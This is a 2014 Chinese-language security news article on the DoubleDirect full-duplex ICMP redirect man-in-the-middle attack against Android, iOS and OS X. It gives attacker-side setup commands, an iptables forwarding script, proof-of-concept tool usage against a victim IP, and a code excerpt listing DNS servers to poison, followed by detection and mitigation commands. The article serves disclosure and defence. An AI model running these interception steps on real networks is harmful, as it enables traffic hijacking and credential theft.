走近科學：劍指Android和iOS系統的DoubleDirect中間人攻擊
責編：admin ｜2014-11-25 16:26:20安全研究員發現一種新型的中間人攻擊技術，它的攻擊目標主要是運行Android系統和iOS系統的智能手機和平板電腦。
這種被稱為DoubleDirect的技術屬于中間人（MITM）攻擊的一種。攻擊者可以利用這種技術把受害者訪問谷歌、Facebook、Twitter上的流量重定向到攻擊者控制的設備上，而一旦受害者的流量被重定向了，攻擊者就可竊取受害者的私人數據，比如，郵箱ID、登錄憑證、銀行信息等，當然他還可以在受害者的機器上安裝木馬等惡意軟件。
舊金山的一家移動安全公司Zimperium在其博客中詳細介紹了這一威脅。黑客正在利用DoubleDirect技術進行針對性攻擊，范圍包括美國、英國、加拿大在內的31個國家，5大互聯網巨頭——Google，Facebook，Hotmail，Live.com和Twitter。
全雙工的ICMP重定向中間人攻擊
ICMP攻擊是中間人攻擊（MITM）的一種，傳統的ICMP重定向攻擊及其利用工具則類似于ettercap +半雙工中間人攻擊（MITM）。受害者因為ICMP重定向攻擊被欺騙，路由器因為ARP欺騙攻擊被毒化。這種ICMP攻擊可以通過防御ARP攻擊的傳統手段相對輕松的防御住。
而DoubleDirect則有所不同，它通過ICMP（網間控制報文協議）重定向數據包改變主機路由表。ICMP重定向數據包會告訴主機有一個更好的路由路徑可以達到目的地。改變受害者機器上的路由表可以使任意的網絡流量流向特定的IP地址（比如攻擊者的IP），然后攻擊者就可以從中作梗發動中間人攻擊了。在流量被重定向之后，攻擊者可通過利用客戶端漏洞攻擊受害者的設備，從而訪問受害者的網絡。
通過研究DoubleDirect攻擊，我們發現攻擊者通過目前未知的技術，實現了全雙工的ICMP重定向中間人攻擊。而傳統的ICMP重定向攻擊是有半雙工限制的。
DoubleDirect攻擊是如何工作的？
Zimperium移動安全實驗室在研究該攻擊之后創建了一個攻擊測試工具，它可以證明發動全雙工ICMP重定向攻擊是有可能的。ICMP重定向攻擊的難點在于，攻擊者必須預先知道受害者已經可到達的IP地址。
攻擊者怎樣知道受害者可達的IP地址呢？要回答這個問題我們應該先分析受害者的設備。
例如，當我們在瀏覽器中輸入www.zimperium.com時，應用程序會發送一個DNS請求以找出www.zimperium.com主機的IP地址。
首先，我們會用ICMP重定向數據包把受害者設備上的所有DNS流量轉發到我們的設備上。大多數時候我們都能預測到受害者使用的DNS服務器。
如果受害者與我們在同個局域網（LAN），那么受害者的DNS服務器也很有可能與我們通過DHCP（動態主機配置協議）所獲得的DNS服務器相同。當然，有些移動設備使用的是默認的DNS服務器（8.8.8.8或者 8.8.4.4）。
我們還提供了一個簡單有效的工具來研究DoubleDirect，單擊這里即可下載。
如果想編譯和運行這個工具，你需要在系統上安裝libcrafter(https：//code.google.com/p/libcrafter/）。libcrafter是一個C++開發的跨平臺庫，可以用來抓包和解包。在GNU/linux或者MAC OS X系統上編譯，你需要執行以下的命令：
$ git clone https：//github.com/pellegre/libcrafter
$ cd libcrafter/libcrafter
$ ./autogen.sh
$ make
$ sudo make install
$ sudo ldconfig
值得注意的是，在配置libcrafter之前你需要安裝抓包工具libpcap：
#apt-get install libpcap-dev
DoubleDirect實例：全雙工ICMP重定向攻擊
場景再現
網關=192.168.1.1
攻擊機（Ubuntu）=192.168.1.105
受害機（GalaxyS4）=192.168.1.101
受害機配置
首先需要做的是，檢查設備是否支持重定向。GalaxyS4會默認支持重定向：
# cat /proc/sys/net/ipv4/conf/all/accept_redirects 1
其次，如果你的設備不支持ICMP重定向但你又想測試這一攻擊，那可以執行下面的命令：
# echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects
攻擊機配置
為了保證攻擊的正確進行，我們需要在攻擊者設備上執行一些命令：
對數據流量進行轉發（該方式具有暫時性，重啟便失效。要想長久保持轉發需要修改/etc/sysctl.conf）
# echo 1 > /proc/sys/net/ipv4/ip_forward
關閉攻擊機的重定向設置。這很重要！我們需要告訴告訴攻擊設備的內核：不要發送重定向
# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect
攻擊演示
編譯DoubleDirect_poc.cpp文件：
$ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter
$ ./doubledirect_poc
[#] ***** ZIMPERIUM – DoubleDirect ：： Full-Duplex ICMP Redirect Audit Tool *****
[#] Usage： ./doubledirect_poc [options]
POC選項：
-i 指定網絡接口
-v 受害機IP地址
-d 毒化的目標IP
當受害者訪問一些網址時，我們會毒化一個受害者機器可達的遠程IP地址，而不是進行局域網ARP欺騙。然后我們就讓受害者的流量發向我們的設備，而不通過真正的網關。
當設備發送了一個目的地為8.8.8.8的IP數據包時，它本該經過網關（192.168.1.1）……
我們在攻擊者設備上執行：
$ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8
[#] Attack parameters ：
[+] Interface ： wlan0
[+] Victim IP address ： 192.168.1.101
[+] Destination to poison ： 8.8.8.8
[#] Gateway parameters ：
[+] Gateway IP address ： 192.168.1.1
[+] Gateway MAC address ： *：*：*：*：AE：51
[#] My parameters ：
[+] My IP address ： 192.168.1.105
從上面的演示可以看出，我們是怎樣毒化8.8.8.8為我們的IP192.168.1.105的。當受害者發送目的地為8.8.8.8的數據包時，它會把我們的設備作為網關，這樣一來我們就可以嗅探到流向目的地的所有流量了。
一旦所有的DNS流量都通過我們的電腦轉發了，我們通過DNS回應包獲得IP地址，并可以向這些IP地址發送ICMP重定向數據包。這樣，我們不僅能嗅探到受害者的所有DNS流量，還可以完全的將其轉發到我們的設備上。
測試你是否易受DoubleDirect的攻擊，我們可以寫一個bash腳本，利用iptables進行IP轉發：
# cat iptables_dobule_direct.sh
#！/bin/sh
if [ $# -lt 1 ]； then
echo "[@] Usage： `basename ${0}` "
echo "[@] Example： `basename ${0}` wlan0"
exit 0
fi
INTERFACE=${1}
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects
iptables –flush
iptables –zero
iptables –delete-chain
iptables -F -t nat
iptables –append FORWARD –in-interface $INTERFACE –jump ACCEPT
iptables –table nat –append POSTROUTING –out-interface $INTERFACE –jump MASQUERADE
# ./iptables_double_direct.sh wlan0
最后執行Zimperium DoubleDirect攻擊測試工具：
# ./doubledirect_poc -i wlan0 -v 192.168.1.101
[#] ***** ZIMPERIUM – DoubleDirect ：： Full-Duplex ICMP Redirect Audit Tool *****
[#] Attack parameters ：
[+] Interface ： wlan0
[+] Victim IP address ： 192.168.1.101
[#] Gateway parameters ：
[+] Gateway IP address ： 192.168.2.1
[+] Gateway MAC address ： 00：1f：*：*：*：*
[#] My parameters ：
[+] My IP address ： 192.168.2.103
DNS服務器是被硬編進代碼（397行，DoubleDirect_poc.cpp文件）里的。
// Hardcoded DNS servers we want to redirect to our machine
startIcmpRedirectAttack(*redirect_parameters， getGatewayIp(redirect_parameters->_interface))； // Gateway
startIcmpRedirectAttack(*redirect_parameters， "8.8.8.8")；
startIcmpRedirectAttack(*redirect_parameters， "8.8.4.4")；
startIcmpRedirectAttack(*redirect_parameters， "208.67.222.222")；
startIcmpRedirectAttack(*redirect_parameters， "208.67.220.220")；
應對策略
Android（安卓）、IOS、Mac OSX設備通常默認支持ICMP重定向。
要想知道你的OS X設備是否易受DoubleDirect攻擊，可以執行以下命令：
sysctl net.inet.ip.redirect | grep "： 1" && echo "DoubleDirect： VULNERABLE" || echo "DoubleDirect： SAFE"
要想使ICMP重定向在Mac失效可以執行以下命令（需要Root權限）：
# sysctl -w net.inet.ip.redirect=0
注：這種修復不具有持久性，要想使其長久的有效，你可以重啟之后在命令行中添加啟動腳本。
對于Android來說，大部分的Android設備都會默認支持重定向，要想使其失效，需要root設備并且執行以下命令：
# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
哪些設備會受到攻擊
受影響的系統包括
Android設備：大部分Android設備，包括Nexus 5 + Lollipop
iOS設備：最新iOS設備，包括iOS 8.1.1（）以外
Mac：Mac OS X Yosemite（優勝美地）
大部分Windows和GNU/Linux用戶不會受到DoubleDirect的攻擊，因為這些操作系統不支持ICMP重定向數據包。